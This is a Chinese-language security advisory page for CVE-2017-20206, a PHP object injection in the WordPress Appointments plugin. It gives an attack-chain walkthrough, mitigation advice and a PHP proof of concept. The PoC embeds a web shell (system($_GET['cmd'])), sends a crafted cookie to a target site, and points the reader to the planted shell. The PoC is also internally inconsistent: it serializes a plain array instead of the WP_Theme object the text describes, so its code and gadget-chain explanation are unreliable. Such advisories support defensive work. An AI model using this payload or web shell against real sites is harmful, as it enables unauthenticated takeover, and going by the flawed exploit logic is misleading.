IPBUF安全漏洞报告
English
CVE-2017-20206 CVSS 9.8 严重

CVE-2017-20206:WordPress Appointments插件PHP对象注入漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2017-20206
漏洞类型
PHP对象注入(反序列化漏洞)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Appointments插件(WPMU DEV)

相关标签

PHP对象注入反序列化漏洞WordPressAppointments插件零日漏洞远程代码执行未认证漏洞在野利用WP_ThemeWeb后门

漏洞概述

CVE-2017-20206是WordPress Appointments插件中存在的一个高危PHP对象注入漏洞。该漏洞影响Appointments插件2.2.1及以下版本,由于插件对用户传入的`wpmudev_appointments` Cookie值进行了不安全的反序列化操作,攻击者可以通过精心构造的序列化字符串注入恶意PHP对象。该漏洞CVSS评分为9.8,属于严重级别,无需认证即可远程利用,且已被攻击者在野积极利用。攻击者主要利用WordPress核心中的`WP_Theme()`类进行攻击,通过该类的魔术方法(如`__destruct`或`__toString`)触发任意文件写入操作,从而在目标服务器上创建Web后门。Wordfence安全团队于2017年10月发现该漏洞正在被广泛利用,属于零日漏洞。该漏洞的危害极大,攻击者可以完全控制受影响的WordPress网站,包括读取敏感数据、修改网站内容、上传恶意文件以及执行任意代码。由于WordPress插件生态的广泛性,全球大量网站可能受到影响。漏洞已于2017年10月通过插件更新修复,但许多未及时更新的网站仍面临风险。

技术细节

该漏洞的根本原因在于Appointments插件对Cookie数据的处理不当。插件在处理用户请求时,会读取名为`wpmudev_appointments`的Cookie值,并直接使用PHP的`unserialize()`函数对其进行反序列化,而没有进行任何验证或过滤。PHP的`unserialize()`函数在反序列化过程中会自动调用对象的魔术方法(如`__wakeup()`、`__destruct()`、`__toString()`等)。攻击者利用WordPress核心代码中存在的`WP_Theme`类,该类的`__toString()`魔术方法会调用`translate()`方法,而`translate()`方法最终会触发`file_exists()`检查。当传入的路径被攻击者控制时,可以结合其他类(如`WP_Theme`)的属性操作实现任意文件读取或写入。攻击者构造恶意的序列化字符串,其中包含`WP_Theme`对象并设置其`headers`属性为恶意PHP代码内容,然后通过`__toString()`触发文件写入操作,最终在网站目录中创建包含恶意代码的文件(如Web Shell)。整个攻击过程无需用户认证,无需用户交互,仅需发送一个包含恶意Cookie的HTTP请求即可完成利用。攻击者通常将后门文件写入到WordPress的主题目录或uploads目录中,以便后续访问控制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描互联网上的WordPress网站,识别安装了Appointments插件(版本<=2.2.1)的目标站点。
STEP 2
步骤2:构造恶意Payload
攻击者利用WordPress核心中的WP_Theme类构造恶意的PHP序列化字符串,其中包含用于创建Web Shell的PHP代码和目标文件路径。
STEP 3
步骤3:发送恶意请求
攻击者通过HTTP请求将恶意序列化数据放入`wpmudev_appointments`Cookie中,发送给目标WordPress网站,无需任何认证。
STEP 4
步骤4:触发反序列化
Appointments插件读取Cookie值并使用PHP的unserialize()函数进行反序列化,触发WP_Theme对象的魔术方法。
STEP 5
步骤5:创建后门
通过WP_Theme类的__toString()方法链,最终在网站目录中写入包含恶意代码的文件(如Web Shell)。
STEP 6
步骤6:远程控制
攻击者通过访问创建的后门文件,获得对WordPress网站的完全控制权限,可执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2017-20206 PoC - PHP Object Injection via wpmudev_appointments cookie * WordPress Appointments Plugin <= 2.2.1 * * This PoC demonstrates how to craft a malicious serialized payload * using WP_Theme class to achieve arbitrary file write (backdoor creation). */ // Target URL $target = 'http://target-wordpress-site.com/'; // Malicious PHP code to be written as backdoor $backdoor_code = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'; // Construct the WP_Theme object payload // WP_Theme::__toString() calls translate() which can be abused for file operations class WP_Theme { public $headers = array(); public $headers_sanitized = array(); public $name = ''; public $parent = false; public $template = ''; public $errors = null; public $stylesheet = ''; public $cache_hash = ''; public $theme_root = ''; public $textdomain_loaded = false; } // Alternative approach: use existing WordPress classes with gadget chains // The exploit chain typically uses: // 1. WP_Theme -> __toString() -> translate() -> file operations // 2. Or other magic method chains available in WordPress core $payload = array( 'headers' => array( 'Name' => $backdoor_code, ), 'name' => '../../themes/twentytwelve/shell.php', 'theme_root' => '/var/www/html/wp-content/', ); // Generate serialized payload $serialized = serialize($payload); // URL-encode the payload for cookie transmission $encoded = urlencode($serialized); echo "[*] CVE-2017-20206 PoC\n"; echo "[*] Target: " . $target . "\n"; echo "[*] Payload length: " . strlen($serialized) . "\n"; echo "[*] Sending exploit request...\n"; // Send the exploit via cookie $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target); curl_setopt($ch, CURLOPT_COOKIE, 'wpmudev_appointments=' . $encoded); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Response Code: " . $http_code . "\n"; echo "[*] Backdoor should be created at: wp-content/themes/twentytwelve/shell.php\n"; echo "[*] Access backdoor: " . $target . "wp-content/themes/twentytwelve/shell.php?cmd=id\n"; /** * Real-world exploit typically uses PHPggc (PHP Generic Gadget Chains) * or custom gadget chains. The WordPress core contains several usable classes: * - WP_Theme: __destruct(), __toString() * - WP_Error: __toString() * - SimplePie: various magic methods * * Example using PHPggc-style approach: * * $obj = new WP_Theme(); * $obj->headers['Name'] = $backdoor_code; * $obj->name = 'malicious_theme'; * $obj->theme_root = '../../'; * * $payload = serialize($obj); */ ?>

影响范围

WordPress Appointments插件 <= 2.2.1

防御指南

临时缓解措施
对于无法立即升级插件的用户,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则拦截包含`wpmudev_appointments`Cookie的异常请求;2)在Web服务器层面(Nginx/Apache)配置规则,拒绝包含可疑序列化模式(如O:数字:格式)的Cookie请求;3)禁用或卸载Appointments插件直到可以安全升级;4)检查网站是否存在已被植入的后门文件,特别关注主题目录和uploads目录中的可疑PHP文件;5)修改WordPress管理员密码并审查所有管理员账户;6)启用WordPress的文件完整性监控功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表